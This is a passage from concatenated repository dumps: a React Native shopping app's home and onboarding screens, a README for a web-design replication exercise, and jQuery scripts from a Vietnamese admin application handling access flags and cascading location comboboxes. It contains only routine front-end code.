name="shopping-basket" color={colors.primary} size={15} /> <Gap width={5} /> <Text style={styles.title}>Produk Terbaru</Text> </View> <Gap height={10} /> <View style={styles.itemProdukTerbaru}> <FlatList data={product_favorit} renderItem={renderProductFavorit} keyExtractor={(item, index) => 'key' + index.toString()} horizontal={true} scrollEnabled={true} showsHorizontalScrollIndicator={false} /> </View> </View> </ScrollView> </View> ) } export default HomeScreen const styles = StyleSheet.create({ page: { flex: 1, backgroundColor: 'red' }, content: { backgroundColor: 'white', padding: 10, flex: 2, }, menu: { flexDirection: 'row', flexWrap: 'wrap', alignContent: 'center', alignItems: 'center', }, itemMenu: { margin: width / 25, alignContent: 'center', justifyContent: 'center', alignItems: 'center', width: width / 10, }, iconMenu: { width: width / 14, height: width / 14, resizeMode: 'contain' }, titleMenu: { fontFamily: fonts.primary.normal, fontSize: 9, }, itemPromo: { paddingLeft: 10, }, title: { fontFamily: fonts.primary.bold }, titleTile: { flexDirection: 'row', } }) ``` index.js ```import HomeScreen from "./HomeScreen"; import MenuScreen from "./MenuScreen"; import TransactionScreen from "./TransactionScreen"; import ProfileScreen from "./ProfileScreen"; export { HomeScreen, MenuScreen, TransactionScreen, ProfileScreen, }``` index.js ```import { PulsaData } from "./PulsaData"; export { PulsaData }``` OnBoarding.js ```import React, { useRef, useState, useEffect } from 'react' import { StyleSheet, Text, View, Animated, Image, Dimensions, StatusBar } from 'react-native'; import { Actions } from 'react-native-router-flux'; import { img1, img2, img3 } from '../../assets/images'; import { OnBoardingBtn } from '../../components'; import { colors, fonts } from '../../themes'; const { height, width } = Dimensions.get('screen'); const bgs = ['#307A59', '#459373', '#F3B33D', '#B98EFF']; const dummyData = [ { title: 'Multi-lateral intermediate moratorium', description: "I'll back up the multi-byte XSS matrix, that should feed the SCSI application!", img: img1, }, { title: "Automated radical data-warehouse", description: "Use the optical SAS system, then you can navigate the auxiliary alarm!", img: img2 }, { title: "Inverse attitude-oriented system engine", description: "The ADP array is down, compress the online sensor so we can input the HTTP panel!", img: img3 }, ] const Indicator = ({ scrollX }) => { return ( <Animated.View style={{ position: 'absolute', bottom: 80, flexDirection: 'row', }}> {dummyData.map((_, i) => { console.log('index', i); const inputRange = [(i - 1) * width, i * width, (i + 1) * width]; const scale = scrollX.interpolate({ inputRange, outputRange: [0.8, 1.4, 0.8], extrapolate: 'clamp', }); const opacity = scrollX.interpolate({ inputRange, outputRange: [0.6, 0.9, 0.6], extrapolate: 'clamp', }); return ( <Animated.View key={(i) => i.toString()} style={{ height: 10, width: 10, borderRadius: 5, backgroundColor: '#fff', margin: 5, opacity, transform: [{ scale }] }}> </Animated.View> ) })} </Animated.View> ) } const handleNext = () => { ///if current session not null Actions.Login(); ///else // Actions.Home(); } const Backdrop = ({ scrollX }) => { const backgroundColor = scrollX.interpolate({ inputRange: bgs.map((_, i) => i * width), outputRange: bgs.map((bg) => bg), }); return ( <Animated.View style={[StyleSheet.absoluteFillObject, { backgroundColor }]} /> ) } const Square = ({ scrollX }) => { const YOLO = Animated.modulo(Animated.divide( Animated.modulo(scrollX, width), new Animated.Value(width) ), 1); const rotate = YOLO.interpolate({ inputRange: [0, .5, 1], outputRange: ['35deg', '0deg', '35deg'] }); const translateX = YOLO.interpolate({ inputRange: [0, .5, 1], outputRange: [0, -height, 0] }); return ( <Animated.View style={{ width: height, height: height, backgroundColor: '#fff', borderRadius: 86, position: 'absolute', top: -height * 0.6, left: -height * 0.3, transform: [ { rotate }, { translateX } ] }} /> ); } const OnBoarding = () => { const [completed, setCompleted] = useState(false); useEffect(() => { scrollX.addListener(({ value }) => { console.log('value', value); if (Math.floor(value / width) === dummyData.length - 1) { console.log('complete'); setCompleted(true); } }); return () => scrollX.removeListener(); }) const scrollX = useRef(new Animated.Value(0)).current; const renderItem = ({ item, index }) => { return ( <View key={index.toString()} style={styles.content}> <View style={styles.divContent}> <Image source={item.img} style={styles.img} /> </View> <View style={{ flex: 0.3 }}> <Text style={styles.text}>{item.title}</Text> <Text style={styles.description}>{item.description}</Text> </View> </View> ) } return ( <View style={styles.container}> {/* <StatusBar hidden /> */} <StatusBar backgroundColor="transparent" translucent={true} barStyle="dark-content" /> <Backdrop scrollX={scrollX} /> <Square scrollX={scrollX} /> <Animated.FlatList data={dummyData} scrollEventThrottle={32} onScroll={Animated.event([{ nativeEvent: { contentOffset: { x: scrollX } } }], { useNativeDriver: false } )} keyExtractor={(item, index) => index.toString()} horizontal showsHorizontalScrollIndicator={false} pagingEnabled renderItem={renderItem} /> <Indicator scrollX={scrollX} /> <View style={styles.onBoardingButton}> <OnBoardingBtn icons="arrow-right" onPress={() => handleNext()} /> </View> </View> ) } export default OnBoarding const styles = StyleSheet.create({ container: { flex: 1, backgroundColor: '#fff', alignItems: 'center', justifyContent: 'center', }, img: { width: width / 2, height: width / 2, resizeMode: 'contain' }, content: { width, alignItems: 'center', padding: 20, }, divContent: { flex: 0.7, justifyContent: 'center', }, text: { fontFamily: fonts.primary.bold, color: colors.white, fontSize: 16 }, description: { fontFamily: fonts.primary.normal, color: colors.white }, onBoardingButton: { // backgroundColor: 'red' position: 'relative', bottom: 10, } }) ``` index.js ```import HeaderHome from "./HeaderHome"; import BasicHeader from "./BasicHeader"; import DetailTransaksiHeader from "./DetailTransaksiHeader"; export { HeaderHome, BasicHeader, DetailTransaksiHeader }``` SsoCard.js ```import React from 'react' import { Image, StyleSheet, Text, View } from 'react-native' const SsoCard = ({ type }) => { const Icon = () => { if (type == 'twitter') { return ( <Image source={require('../../assets/icons/ic-twitter.png')} style={styles.icon} /> ); } else if (type == 'facebook') { return ( <Image source={require('../../assets/icons/ic-facebook.png')} style={styles.icon} /> ); } else { return ( <Image source={require('../../assets/icons/ic-google.png')} style={styles.icon} /> ); } } return ( <View style={styles.container}> <Icon /> </View> ) } export default SsoCard const styles = StyleSheet.create({ container: { backgroundColor: '#F5F5F5', borderRadius: 40 / 2, padding: 2 }, icon: { height: 40, width: 40, resizeMode: 'contain' } }) ``` index.js ```import { OnBoardingBtn } from "./OnBoardingBtn"; import PrimaryButton from "./PrimaryButton"; import BtnCircle from "./BtnCircle"; export { OnBoardingBtn, PrimaryButton, BtnCircle, }``` index.js ```import PaketData from "./PaketData"; import GridItems from "./GridItems"; export { PaketData, GridItems, }```
zedzorander/Website-Replicate
zedzorander/Website-Replicate README.md ```# Website-Replicate README ## Requirements Text editor (VSCode, Sublime, etc.) HTML 5 CSS ## Project Notes Replication of https://www.alpnglocreative.com/web-design for "The Ultimate 2021 Fullstack Web Development Bootcamp" Udemy course by Kalob Taulien. For educational purposes only. ```
zeef1992/youth
zeef1992/youth bb9d912a5a02d437cd1460dbb15dcb87e4eaf574.svn-base ```$(document).ready(function (){ /**************************************************************************** ****LOAD CALENDAR****** ****************************************************************************/ //handle load calendar $(".calendar").datepicker({ showOn:"button", buttonImage:"../resources/img/calendar.gif", buttonImageOnly : true, buttonText : "Select date" }); $(".calendar").change(function(){ var date_val = $(this).datepicker().val(); var date = $(this).datepicker('getDate'); var day = $.datepicker.formatDate('DD', date).substring(0,1); $($(this).parent().children(".cal_text")).val(date_val); $($(this).parent().children(".cal_text")).focus(); }); /**************************************************************************** ****LOAD CALENDAR END****** ****************************************************************************/ }); function load_calendar() { $(".calendar").datepicker({ showOn:"button", buttonImage:"resources/img/calendar.gif", buttonImageOnly : true, buttonText : "Select date" }); $(".calendar").change(function(){ var date_val = $(this).datepicker().val(); var date = $(this).datepicker('getDate'); var day = $.datepicker.formatDate('DD', date).substring(0,1); $($(this).parent().children(".cal_text")).val(date_val); $($(this).parent().children(".cal_text")).focus(); }); }``` 0023.js ```/** * author Nghia Nguyen */ $(document).ready(function(){ var ITEM_IN_ONE_PAGE = 20; //--------------- Variables definition --------------- // application path var rootPath = getContextPath(); var dataScreenId = []; var screenStr = ''; initFarmNameComboboxData(); $(document).on("click", ".screen", function() { var id = $(this).attr("id"); if ($(this).hasClass("btn-primary")) { $(this).removeClass("btn-primary"); $(this).addClass("btn-default"); } else { $(this).removeClass("btn-default"); $(this).addClass("btn-primary"); } }); // Hide Popup $(document).on("click", "#btnBack", function() { hidePopupMain($("#popupWrapper2")); screenStr = ''; }); // add Enable && disable for displable $(document).on("click", ".displable", function() { if ($(this).hasClass("fa-close")) { $(this).removeClass("fa-close color_ac2925"); $(this).addClass("fa-check color3c8dbc"); } else { $(this).removeClass("fa-check color3c8dbc"); $(this).addClass("fa-close color_ac2925"); } }); // add Enable && disable for addable $(document).on("click", ".addable", function() { if ($(this).hasClass("fa-close")) { $(this).removeClass("fa-close color_ac2925"); $(this).addClass("fa-check color3c8dbc"); } else { $(this).removeClass("fa-check color3c8dbc"); $(this).addClass("fa-close color_ac2925"); } }); // add Enable && disable for updatable $(document).on("click", ".updatable", function() { if ($(this).hasClass("fa-close")) { $(this).removeClass("fa-close color_ac2925"); $(this).addClass("fa-check color3c8dbc"); } else { $(this).removeClass("fa-check color3c8dbc"); $(this).addClass("fa-close color_ac2925"); } }); // add Enable && disable for deletable $(document).on("click", ".deletable", function() { if ($(this).hasClass("fa-close")) { $(this).removeClass("fa-close color_ac2925"); $(this).addClass("fa-check color3c8dbc"); } else { $(this).removeClass("fa-check color3c8dbc"); $(this).addClass("fa-close color_ac2925"); } }); // add Enable && disable for referencable $(document).on("click", ".referencable", function() { if ($(this).hasClass("fa-close")) { $(this).removeClass("fa-close color_ac2925"); $(this).addClass("fa-check color3c8dbc"); } else { $(this).removeClass("fa-check color3c8dbc"); $(this).addClass("fa-close color_ac2925"); } }); // Update Data $(document).on("click", "#btnRegisterPopup", function() { $(".row_access").each(function(){ var screenId = $(this).find("td").eq(0).text(); // Display_Enable_Flag var display_flag = false; if ($($(this).find("td").eq(1)).find(".displable").hasClass("fa-check")) { display_flag = false; } else if ($($(this).find("td").eq(1)).find(".displable").hasClass("fa-close")) { display_flag = true; } // Addable_Flag var add_flag = false; if ($($(this).find("td").eq(2)).find(".addable").hasClass("fa-check")) { add_flag = false; } else if ($($(this).find("td").eq(2)).find(".addable").hasClass("fa-close")) { add_flag = true; } // Updatable_Flag var edit_flag = false; if ($($(this).find("td").eq(3)).find(".updatable").hasClass("fa-check")) { edit_flag = false; } else if ($($(this).find("td").eq(3)).find(".updatable").hasClass("fa-close")) { edit_flag = true; } // Addable_Flag var delete_flag = false; if ($($(this).find("td").eq(4)).find(".deletable").hasClass("fa-check")) { delete_flag = false; } else if ($($(this).find("td").eq(4)).find(".deletable").hasClass("fa-close")) { delete_flag = true; } // Addable_Flag var reference_flag = false; if ($($(this).find("td").eq(5)).find(".referencable").hasClass("fa-check")) { reference_flag = false; } else if ($($(this).find("td").eq(5)).find(".referencable").hasClass("fa-close")) { reference_flag = true; } // Create Data var dataAccessObject = createAccessAuthorizationConditions(screenId,display_flag, add_flag, edit_flag, delete_flag, reference_flag); // khai báo biến success var success = false; $.ajax({ url: rootPath + "/0033/updateData", type: "POST", contentType: "application/json", data: JSON.stringify(dataAccessObject), async: false, success: function(returnData) { success = true; screenStr = ''; }, error: function(e) { // set return value returnValue = ""; success = false; }, complete: function(jqXHR, textStatus) { // display message if (success) { jInfo(UPDATE_RESULT_SUCCESSFUL_MESSAGE, DIALOG_TITLE, DIALOG_OK_BUTTON); } else { alert(ERROR_MESSAGE); } } }) }); }); // function create Data to Update function createAccessAuthorizationConditions(screenId, display_flag, add_flag, edit_flag, delete_flag, reference_flag){ var dataObject = { "screenId" : screenId, "accessAuthorityId" : 1, "screenDisplayEnableFlag" : display_flag, "addableFlag" : add_flag, "updatableFlag" : edit_flag, "deletableFlag" : delete_flag, "referenceFlag" : reference_flag } return dataObject; }; $(document).on("click", "#btn_access", function() { // Lấy Thông Tin UserId var usersId = $("#usersIdPopup").val(); // duyệt qua tất cả các class screen $(".screen").each(function(){ if ($(this).hasClass("btn-primary")) { dataScreenId.push($(this).attr("id")); screenStr += $(this).attr("id") + ","; } }); if (screenStr != "") { screenStr = screenStr.substring(0,screenStr.length-1); // load popup chọn cờ thêm xóa sửa cho từng Màn Hình. $(".accessAuthorizationinfo-popup").load(rootPath + "/0033/?screenStr="+screenStr+"&&usersId=" + usersId); showPopup($("#popupWrapper2")); } else { alert("Vui Lòng Chọn Màn Hình") } }); $("#cbbAccess").change(function(){ alert(""); }); // Get data for combobox process function initFarmNameComboboxData() { // accessData /*if (accessData != "") { var optionStr = "<option value=''></option>"; for (var i = 0; i < accessData.length; i++) { optionStr += "<option value='" + accessData[i].accessAuthorityId + "'>" + accessData[i].accessAuthorityId + "</option>"; } $("#cbbAccess").empty() $("#cbbAccess").append(optionStr); }*/ } }); ``` 79cd3370ffd47e3ed7f034c9d2b9374fe58b8245.svn-base ```/** * @author Khoa Le */ //--------------- Constants definition --------------- // language abbreviations definition var LANGUAGE_ENGLISH = "en"; var LANGUAGE_JAPANESE = "jp"; var LANGUAGE_VIETNAMESE = "vi"; // role type value var ROLE_TYPE_SYSTEM_MANAGER = "1"; var ROLE_TYPE_BUSINESS_MANAGER = "2"; var ROLE_TYPE_FARM_MANAGER = "3"; var ROLE_TYPE_AREA_MANAGER = "4"; // popup mode var MODE_VIEW = "view"; var MODE_EDIT = "edit"; var MODE_NEW = "new"; // delete flag status var DELETE_FLAG_ON = "1"; var DELETE_FLAG_OFF = "0"; // when user selected nothing var STATUS_NO_SELECT = "-2"; // when blank fields exist var VALIDATE_BLANK_FIELDS = "-2"; // when user's id is in wrong format var VALIDATE_WRONG_FORMAT = "-3"; // when new password and new password confirm do not match var VALIDATE_PASSWORD_NOT_MATCH = "-4"; // when current password is not correct var VALIDATE_PASSWORD_NOT_CORRECT = "-5"; // when updating to DB successfully var UPDATE_RESULT_SUCCESSFUL = "1"; // when updating to DB failed var UPDATE_RESULT_FAILED = "-1"; // when inserting to DB successfully var INSERT_RESULT_SUCCESSFUL = "1"; // when inserting to DB with duplicated id var INSERT_RESULT_DUPLICATED = "0"; // when inserting to DB with wrong config var INSERT_RESULT_CONFIG_NOT_CORRECT = "-6"; // when inserting to DB failed var INSERT_RESULT_FAILED = "-1"; // when deleting from DB successfully var DELETE_RESULT_SUCCESSFUL = "1"; // when deleting from DB failed var DELETE_RESULT_FAILED = "-1"; // when uploading file to server successfully var UPLOAD_RESULT_SUCCESSFUL = "1"; // when uploading file to server failed var UPLOAD_RESULT_FAILED = "-1"; var rootPath = "http://localhost:8080/youth/"; // Prevent the backspace key from navigating back. $(document).unbind("keydown").bind("keydown", function (event) { if (event.keyCode === 8) { var doPrevent = true; var types = ["text", "password", "file", "search", "email", "number", "date", "color", "datetime", "datetime-local", "month", "range", "search", "tel", "time", "url", "week"]; var d = $(event.srcElement || event.target); var disabled = d.prop("readonly") || d.prop("disabled"); if (!disabled) { if (d[0].isContentEditable) { doPrevent = false; } else if (d.is("input")) { var type = d.attr("type"); if (type) { type = type.toLowerCase(); } if (types.indexOf(type) > -1) { doPrevent = false; } } else if (d.is("textarea")) { doPrevent = false; } } if (doPrevent) { event.preventDefault(); return false; } } }); $(document).ready(function(){ $(".back").click(function(){ window.history.back(); }); }); // click event cancle popup $(document).on("click", ".cancel", function() { $("#overlay").hide(); $("#popupWrapper").hide(); $("#popupWrapper1").hide(); $("#popupWrapper2").hide(); }); // Click event processing for language changing $(document).on("click", ".language", function() { // get current url var currentLocation = getCurrentUrlWithoutLanguage(); // get selected locale var selectedLocale = $(this).attr("name"); // change url window.location = currentLocation + "?language=" + selectedLocale; }); // Fix table header and body when scrolling only the table body function fixTable() { // get height of table body and table container var tblBodyHeight = $("#tblBody").height(); var divBodyHeight = $("#divBody").height(); // if the table body is longer than the table container if (tblBodyHeight > divBodyHeight) { // add y scroll bar $("#divBody").css("overflow-y", "scroll"); if (isMobile()) { // Mobile version } else { // ceiling the width of divBody to avoid misaligning the borders $("#divBody").width(Math.ceil($("#divBody").width())); // PC version // when the table body has many rows, scroll bar will appear // set the size of body to minus the scroll bar, scroll bar size: 17px $("#divHead").width($("#divBody").width() - 17); $("#divFooter").width($("#divBody").width() - 17); // set size when user resizes window $(window).resize(function() { $("#divHead").width($("#divBody").width() - 17); $("#divFooter").width($("#divBody").width() - 17); }); } } else { // table body is shorter than the table container // hide y scroll bar $("#divBody").css("overflow-y", "hidden"); // when the table body has few rows, scroll bar will disappear // set the size of body to plus the scroll bar, scroll bar size: 17px $("#divHead").width($("#divBody").width()); $("#divFooter").width($("#divBody").width() + 17); // set size when user resizes window $(window).resize(function() { $("#divHead").width($("#divBody").width()); $("#divFooter").width($("#divBody").width() + 17); }); } // fix table not repainting on Chrome $("#divBody").html($("#divBody").html()); } // calculate table height to fit page function calculateTableHeight() { // get all the necessary height of controls var windowHeight = $(window).height(); var headerHeight = $(".header").height(); var headerGroupButtonHeight = $(".header-group-button").height(); var titleHeight = $(".title").height(); var searchConditionHeight = $(".tbl-box").height(); var searchTableBodyTopMargin = $(".text-title").height() + $("#divHead").height(); var pagerHeight = $(".tblPager").height(); var footerHeight = $(".footer").height(); var estimatedSafeHeight = 30; // calculate table body height return windowHeight - headerHeight - headerGroupButtonHeight - titleHeight - searchConditionHeight - searchTableBodyTopMargin - pagerHeight - footerHeight - estimatedSafeHeight; } function setDefaultforTable() { // get all the necessary height of controls var windowHeight = $(window).height(); var headerHeight = $("header").height(); var titleHeight = $(".panel-default").height(); var searchConditionHeight = $(".panel-body").height(); // calculate table body height return windowHeight - headerHeight - titleHeight - searchConditionHeight -125; } // Check session is timeout function checkSessionTimeout(object) { if (object.constructor === "string".constructor) { if (object.indexOf("login") > -1 && object.indexOf("j_username") > -1 && object.indexOf("j_password") > -1) { // return to login page window.location.href = getContextPath() + "/login"; return 1; } } return 0; } // Check current language function function checkCurrentLanguage() { var currentUrl = window.location.href; if (currentUrl.indexOf("?language=" + LANGUAGE_ENGLISH) > 0) { return LANGUAGE_ENGLISH; } else if (currentUrl.indexOf("?language=" + LANGUAGE_VIETNAMESE) > 0) { return LANGUAGE_VIETNAMESE; } else { return LANGUAGE_JAPANESE; } } // Display dialog function showPopup(element) { $("#overlay").show(); element.css("top", Math.max(0, (($(window).height() - element.outerHeight()) / 2) + $(window).scrollTop()) + "px"); element.css("left", Math.max(0, (($(window).width() - element.outerWidth()) / 2) + $(window).scrollLeft()) + "px"); element.show(); } // Hide dialog function hidePopup(element) { element.hide(); $("#overlay").hide(); $("#popupWrapper").hide(); $("#popupWrapper1").hide(); $("#popupWrapper2").hide(); } function hidePopupMain(element) { element.hide(); } // Display dialog level 2 function showPopup2(element) { $("#overlay2").show(); element.css("top", Math.max(0, (($(window).height() - element.outerHeight()) / 2) + $(window).scrollTop()) + "px"); element.css("left", Math.max(0, (($(window).width() - element.outerWidth()) / 2) + $(window).scrollLeft()) + "px"); element.show(); } // Hide dialog level 2 function hidePopup2(element) { element.hide(); $("#overlay2").hide(); } // Check for OS function function isMobile() { if (/iPad|iPhone|Android|webOS|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) { // Mobile return true; } else { // PC return false; } } // Get current date function getCurrentDate() { var currentdate = new Date(); return currentdate.getDate() + "/" + (currentdate.getMonth() + 1) + "/" + currentdate.getFullYear(); } // Get current time function getCurrentTime() { var currentdate = new Date(); return currentdate.getHours() + ":" + currentdate.getMinutes() + ":" + currentdate.getSeconds(); } // Get uppermost path of application function getContextPath() { return window.location.pathname.substring(0, window.location.pathname.indexOf("/", 2)); } // Get the URL without the "?language=xx" string function getCurrentUrlWithoutLanguage() { return window.location.href.substring(0, window.location.pathname.indexOf("?")); }``` 0016.js ```/** * author Nghia Nguyen */ $(document).ready(function(){ //--------------- Constants definition --------------- // number of items in one page in table var ITEM_IN_ONE_PAGE = 1; //--------------- Variables definition --------------- // application path var rootPath = getContextPath(); // search result total data count var totalResultCount = 0; // variables for handling pager var currentPage = 1; var maxPage = 0; var from = 0; // variable to store selected row index var selectedRowIndex = ""; // variable to store selected cate id to show in popup var catesIdPopup = ""; // variable to store current selected mode var currentMode = ""; var countStt = 0; initComboboxData(false); // Register cate click event process $("#btnRegister").bind("click", function() { $(".alert").addClass("display-none"); // clear all current text of popup controls clearPopupControl(); // change state of controls in popup based on mode // country if ($("#cbbCountry").find("option:selected").val() != STATUS_NO_SELECT ) { $("#txtCountryNamePopup").val($("#cbbCountry").find("option:selected").text()); $("#txtCountryIdPopup").val($("#cbbCountry").find("option:selected").val()); } else { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + "Vui lòng chọn Quốc Gia"); return false; } // city if ($("#cbbCity").find("option:selected").val() != STATUS_NO_SELECT) { $("#txtCityNamePopup").val($("#cbbCity").find("option:selected").text()); $("#txtCityIdPopup").val($("#cbbCity").find("option:selected").val()); } else { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + "Vui lòng chọn thành phố"); return false; } // district if ($("#cbbDistrict").find("option:selected").val() != STATUS_NO_SELECT) { $("#txtDistrictNamePopup").val($("#cbbDistrict").find("option:selected").text()); $("#txtDistrictIdPopup").val($("#cbbDistrict").find("option:selected").val()); } else { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + "vui lòng chọn Quận/Huyện"); return false; } // wards if ($("#cbbWards").find("option:selected").val() != STATUS_NO_SELECT) { $("#txtWardsNamePopup").val($("#cbbWards").find("option:selected").text()); $("#txtWardsIdPopup").val($("#cbbWards").find("option:selected").val()); } else { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + "vui lòng chọn Quận/Huyện"); return false; } // Town if ($("#cbbTown").find("option:selected").val() != STATUS_NO_SELECT) { $("#txtTownNamePopup").val($("#cbbTown").find("option:selected").text()); $("#txtTownIdPopup").val($("#cbbTown").find("option:selected").val()); } else { $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + "vui lòng chọn khu phố"); return false; } setPopupControlState(MODE_NEW); }); // Country name combobox change event process $("#cbbCountry").bind("change", function() { // load Area name combobox $('#textCountryName').text($(this).find("option:selected").text()); loadCityDataCombobox(false); }); // Country name combobox change event process $("#cbbCity").bind("change", function() { // load District name combobox $('#textCityName').text($(this).find("option:selected").text()); loadDistrictDataByCityId(); }); // District name combobox change event process $("#cbbDistrict").bind("change", function() { // load Wards name combobox $('#textDistrictName').text($(this).find("option:selected").text()); loadWardsDataByDistrictId(); }); // Wards name combobox change event process $("#cbbWards").bind("change", function() { // load Town name combobox $('#textWardsName').text($(this).find("option:selected").text()); loadTownDataByWardsId(); }); // Load Area name combobox data function loadCityDataCombobox() { // get farm id selected by user var countryIdDefault = $("#countryIdDefault").val(); var cityIdDefault = $("#cityIdDefault").val(); var selectedCountryId = ""; // if countryIdDefault != "" then set selectedCountryId = countryIdDefault if (countryIdDefault != "") { selectedCountryId = countryIdDefault; } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); } if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getCityDataByCountryId", data: { "countryId": selectedCountryId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (cityIdDefault == "") { if (i == 0) { optionStr += "<option value='" + returnedJsonData[i].cityId + "' selected = 'selected'>" + returnedJsonData[i].cityName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } else { if (returnedJsonData[i].cityId == cityIdDefault) { optionStr += "<option value='" + returnedJsonData[i].cityId + "' selected = 'selected'>" + returnedJsonData[i].cityName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].cityId + "'>" + returnedJsonData[i].cityName + "</option>"; } } } } // set options to combobox $("#cbbCity").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbCity").prop("disabled", false); $("#cbbDistrict").prop("disabled", false); $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadDistrictDataByCityId(); } else { // reset empty combobox and disabled $("#cbbCity").empty().append(optionStr).prop("disabled", true); $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } else { // clear combobox $("#cbbCity").empty(); $("#cbbDistrict").empty(); $("#cbbWards").empty(); $("#cbbTown").empty(); // disable combobox $("#cbbCity").prop("disabled", true); $("#cbbDistrict").prop("disabled", true); $("#cbbWards").prop("disabled", true); $("#cbbTown").prop("disabled", true); } } function loadDistrictDataByCityId() { // get farm id selected by user var countryIdDefault = $("#countryIdDefault").val(); var cityIdDefault = $("#cityIdDefault").val(); var districtIdDefault = $("#districtIdDefault").val(); var selectedCountryId = ""; // if countryIdDefault != "" then set selectedCountryId = countryIdDefault if (countryIdDefault != "") { selectedCountryId = countryIdDefault; } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); } // get cityId var selectCityId = ""; if (cityIdDefault != "") { selectCityId = cityIdDefault; } else { selectCityId = $("#cbbCity").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getDistrictDataByCityId", data: { "countryId": selectedCountryId, "cityId": selectCityId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (cityIdDefault == "") { if (i == 0) { optionStr += "<option value='" + returnedJsonData[i].districtId + "' selected = 'selected'>" + returnedJsonData[i].districtName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } else { if (returnedJsonData[i].districtId == districtIdDefault) { optionStr += "<option value='" + returnedJsonData[i].districtId + "' selected = 'selected'>" + returnedJsonData[i].districtName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].districtId + "'>" + returnedJsonData[i].districtName + "</option>"; } } } } // set options to combobox $("#cbbDistrict").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbDistrict").prop("disabled", false); $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadWardsDataByDistrictId(); } else { $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } else { // clear & disable combobox $("#cbbDistrict").empty().append(optionStr).prop("disabled", true); $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } function loadWardsDataByDistrictId() { // get farm id selected by user var countryIdDefault = $("#countryIdDefault").val(); var cityIdDefault = $("#cityIdDefault").val(); var districtIdDefault = $("#districtIdDefault").val(); var wardsIdDefault = $("#wardsIdDefault").val(); var selectedCountryId = ""; // if countryIdDefault != "" then set selectedCountryId = countryIdDefault if (countryIdDefault != "") { selectedCountryId = countryIdDefault; } else { selectedCountryId = $("#cbbCountry").find("option:selected").val(); } // get cityId var selectCityId = ""; if (cityIdDefault != "") { selectCityId = cityIdDefault; } else { selectCityId = $("#cbbCity").find("option:selected").val(); } // get District var selectDistrictId = "" if (districtIdDefault != "") { selectDistrictId = districtIdDefault; } else { selectDistrictId = $("#cbbDistrict").find("option:selected").val(); } // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedCountryId != STATUS_NO_SELECT && selectCityId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getWardsDataByDistrictId", data: { "countryId": selectedCountryId, "cityId": selectCityId, "districtId" : selectDistrictId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (wardsIdDefault == "") { if (i == 0) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "' selected = 'selected'>" + returnedJsonData[i].wardsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } else { if (returnedJsonData[i].wardsId == wardsIdDefault) { optionStr += "<option value='" + returnedJsonData[i].wardsId + "' selected = 'selected'>" + returnedJsonData[i].wardsName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].wardsId + "'>" + returnedJsonData[i].wardsName + "</option>"; } } } } // set options to combobox $("#cbbWards").empty().append(optionStr); // enable combobox if (returnedJsonData != "") { $("#cbbWards").prop("disabled", false); $("#cbbTown").prop("disabled", false); loadTownDataByWardsId(); } else { $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } else { // clear combobox disable combobox $("#cbbWards").empty().append(optionStr).prop("disabled", true); $("#cbbTown").empty().append(optionStr).prop("disabled", true); } } function loadTownDataByWardsId() { // get farm id selected by user var countryIdDefault = 